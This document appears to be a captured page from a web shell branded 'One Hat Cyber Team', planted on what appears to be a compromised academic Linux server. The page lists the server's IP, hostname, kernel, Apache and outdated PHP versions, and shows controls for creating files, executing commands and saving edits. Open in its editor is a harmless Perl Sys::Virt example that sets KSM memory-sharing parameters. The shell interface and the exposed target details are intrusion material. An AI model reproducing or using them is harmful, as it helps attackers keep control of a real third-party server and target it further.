One Hat Cyber Team
Your IP :
216.73.216.115
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
perl-Sys-Virt
/
examples
/
Edit File:
node-ksm.pl
#!/usr/bin/perl use warnings; use strict; use Sys::Virt; my $pagetoscan = shift @ARGV || 200; my $sleepmillis = shift @ARGV || 100; my $uri = "qemu:///system"; my $con = Sys::Virt->new(address => $uri); my $params = $con->get_node_memory_parameters(); foreach my $key (keys %{$params}) { printf "%s: %d\n", $key, $params->{$key}; } my %param = (Sys::Virt::NODE_MEMORY_SHARED_PAGES_TO_SCAN => $pagetoscan, Sys::Virt::NODE_MEMORY_SHARED_SLEEP_MILLISECS => $sleepmillis); $con->set_node_memory_parameters(\%param); $params = $con->get_node_memory_parameters(); foreach my $key (keys %{$params}) { printf "%s: %d\n", $key, $params->{$key}; }
Simpan